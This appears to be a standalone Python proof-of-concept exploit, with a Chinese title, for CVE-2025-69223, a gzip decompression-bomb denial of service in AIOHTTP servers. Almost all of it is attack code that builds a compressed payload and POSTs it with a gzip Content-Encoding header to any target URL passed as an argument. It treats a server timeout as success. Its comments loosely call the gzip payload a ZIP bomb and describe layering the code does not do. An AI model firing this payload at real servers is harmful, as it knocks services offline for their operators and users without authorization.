CVE-2025-69223 AIOHTTP ZIP炸弹拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-69223 PoC - AIOHTTP ZIP Bomb Denial of Service Note: This PoC is for educational and authorized testing purposes only. """ import gzip import requests import sys def create_zip_bomb(): """ Create a minimal ZIP bomb that expands to massive size when decompressed. This uses the classic ZIP bomb technique with recursive compression. """ # Create highly compressible data # 1000 bytes of 'A' will compress to ~5 bytes # Recursively nest this to create exponential expansion # Simple version: Single layer high compression # In real attack, multiple layers would be used bomb_data = gzip.compress(b'A' * 100000) # 100KB of 'A' compressed print(f"[+] ZIP bomb size: {len(bomb_data)} bytes") print(f"[+] Original data size: {100000} bytes") print(f"[+] Compression ratio: {100000 / len(bomb_data):.1f}x") return bomb_data def exploit_aiohttp(target_url, bomb_data): """ Send ZIP bomb to vulnerable AIOHTTP server. """ headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/json', 'User-Agent': 'AIOHTTP-ZIPBomb-Test/1.0' } print(f"[+] Sending ZIP bomb to {target_url}") try: # Send POST request with gzip compressed body response = requests.post( target_url, data=bomb_data, headers=headers, timeout=30 ) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[+] Target appears to be processing large decompression!") return True except Exception as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_69223_poc.py <target_url>") print("Example: python cve_2025_69223_poc.py http://vulnerable-server:8080/api") sys.exit(1) target_url = sys.argv[1] print("=" * 60) print("CVE-2025-69223 - AIOHTTP ZIP Bomb DoS PoC") print("=" * 60) # Generate ZIP bomb bomb = create_zip_bomb() # Attempt exploitation exploit_aiohttp(target_url, bomb) print("\n[!] Note: This PoC demonstrates the vulnerability concept.") print("[!] Actual exploitation requires larger/multi-layer ZIP bombs.") print("[!] Ensure you have authorization before testing.") if __name__ == '__main__': main()